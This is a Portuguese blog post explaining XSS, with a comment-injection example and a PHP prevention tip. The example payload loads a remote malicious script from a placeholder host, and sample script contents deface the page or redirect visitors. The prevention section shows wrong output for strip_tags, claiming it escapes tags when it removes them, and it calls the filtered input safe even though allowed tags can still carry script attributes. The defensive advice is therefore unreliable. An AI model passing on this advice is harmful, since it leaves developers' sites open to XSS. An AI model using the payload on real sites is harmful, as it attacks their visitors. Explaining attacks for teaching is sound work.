Segurança: O que é XSS?

[wp_ad_camp_3]

XSS, do inglês (Cross-site scripting) é um tipo de vulnerabilidade de segurança para o computador, ele é localizado geralmente em aplicações web. Com essa vulnerabilidade, é possível ativar ataques maliciosos ao injetarem um client-side script dentro de páginas web vista por outras pessoas.

O Ataque!

[wp_ad_camp_1]

Através de um XSS, o cracker injeta códigos de uma linguagem client-side (no caso das páginas na web JavaScript) para que esse conteúdo seja executado no navegador do visitante do website.

Exemplo de Ataque:

Seu site possui uma página de comentários, e você não aplicou as devidas validações na mesma. Com isso um cracker criou um arquivo .js e hospedou em algum lugar na internet, ai com isso ele colocou um comentário no seu site com o seguinte conteúdo “Nossa que legal =) <script src=’https://algumlugarnainternet.com.br/script-malicioso.js’></script>”, como você não tratou quando algum de seus visitantes for ver o conteúdo e carregar esse comentário automaticamente ele vai chamar o script-malicioso.js e interpretar tudo que tá escrito lá! Imagine que dentro do script-malicioso.js, contenha o conteúdo ” document.body.innerHTML=”; ” ou então o conteúdo ” window.location.href=’http://www.sitedoseuconcorrente.com.br’; “!

Esses são apenas alguns exemplos simples e fáceis de serem elaborados, ataques XSS tedem a ser mais perigosos do que se imagina. Pode se usar para roubo de senhas, tentativa de ataques a roteadores, manipulação de conteúdo, e o que a imaginação do cracker for capaz.

 

Como se prevenir:

[wp_ad_camp_2]

Existem diversas maneiras de se previnir, tanto na hora de mostrar o conteúdo para o usuário na tela quanto na hora de levar essa informação ao seu banco de dados. No php podemos fazer o uso da função strip_tags conforme exemplo abaixo:

 

<?php
$tagsPermitidas = array('b', 'p');
$informacaoQueVaiParaOBanco = strip_tags($_POST['conteudo'], $tagsPermitidas);

 

Supondo que o valor de $_POST[‘conteudo’] fosse “<p><a href=’http://evil.com.br’>Clique aqui para desconto</a> <b>Corra tem que ser agora!!</b></p>”, o resultado que seria retornado do strip_tags com as $tagsPermitidas seria “<p>&lt;a href=’http://evil.com.br’&gt;Clique aqui para desconto&lt;/a&gt; <b>Corra tem que ser agora!!</b></p>” e assim sua entrada de dados vai ficar tratada e segura!

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *